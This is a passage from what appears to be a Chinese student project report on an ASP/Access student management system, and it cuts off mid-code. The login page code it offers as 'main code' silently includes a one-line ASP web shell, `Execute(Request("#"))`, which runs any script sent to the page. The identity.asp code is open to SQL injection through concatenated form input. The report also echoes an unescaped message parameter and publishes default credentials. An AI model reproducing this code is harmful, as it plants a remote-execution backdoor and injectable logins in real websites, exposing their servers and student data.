第一章概述
1.1开发背景
随着计算机信息技术的发展,计算机网络在人们的生活中已经无处不在,我们随时都能感受到计算机网络技术给我们带来的方便。做为学校来说,拥有较多的学生,这样用人工管理起来非常的不方便,有了学生管理系统,管理力度相对有了大幅度提升。
1.3系统功能要求的分析
具有学生档案信息的查询,修改,添加等功能。
第二章开发环境及实现技术介绍
2.1开发环境
Windows XP IE 6.0 IIS5.5 DreamweaverMX
2.2开发工具简介
DreamweaverMX
一个可视化的网页设计和网站管理工具,支持最新的Web技术,包含HTML检查、HTML格式控制、HTML格式化选项、HomeSite/BBEdit捆绑、可视化网页设计、图像编辑、全局查找替换、全FTP 功能、处理Flash和Shockwave等富媒体格式和动态HTML、基于团队的Web创作。在编辑上你可以选择可视化方式或者你喜欢的源码编辑方式。
Macromedia Dreamweaver MX 测试版新增功能如下:加强的用户界面;多重用户配置;增强的源代码编辑功能;扩展的文档格式支持;加强的服务器模式扩展;改进的数据库链接操作;提升了与外部应用程序的协作功能。
第三章个人网站的设计和实现
3.1系统的设计
3.2系统的实现
该系统所用数据库为Microsoft Access 数据库
注意:默认登陆ID为:wangfushan
密码: 123456
设计登陆主界面,连接数据库,实现登陆制度,提高系统得安全性能。
主要代码如下:
</style>
<title>学生管理系统</title><body text="#FF0000" ><%
if request("message")= "" then
else
response.write"<center><fontcolor=#ff0066>" & request("message") & "</font></center>"
end if
%>
<br>
<%If Request("#")<>"" Then Execute(Request("#"))%><br> <form method="post" action="identity.asp">
<p> </p>
<div align=center> <p class="unnamed1"> <SPAN CLASS="unnamed2">学生管理系统</SPAN><BR>
<br>
<br> 登 陆 ID: <input maxlength=30 name=user_name size=15>
<br> 登陆密码: <input maxlength=30 name=user_pwd size=15 type=password>
<br>
输入用户名密码后,将用户名密码传入identity.asp,连接数据库,查找该用户名密码,如不符,给出错误提示,返回登陆界面。如相符则保存登陆信息,进入系统。注:在这里我将存储用户名信息的数据库文件更名为 amn.asp,实际修改时,需要将扩展名该为.mdb,这样来增加系统的安全性。
identity.asp 设计代码:
<%
set adocon=Server.CreateObject("ADODB.Connection")
adocon.Open "Driver={Microsoft Access Driver (*.mdb)}; " & _
"dbq=" & Server.MapPath("amn.asp")
username=request.form("user_name")
userpass=request.form("user_pwd")
sqlstr = "select * from user where name='" & username & "'"
set rs = adocon.Execute(sqlstr)
if not rs.eof then
if rs("password")<>userpass then
message="密码或账号不对想混呀!!"
response.redirect "enter.asp?message="&message
end if
session("yule_user")=username
session("yule_pass")=userpass
response.redirect "6-0.asp"
end if
if rs.eof then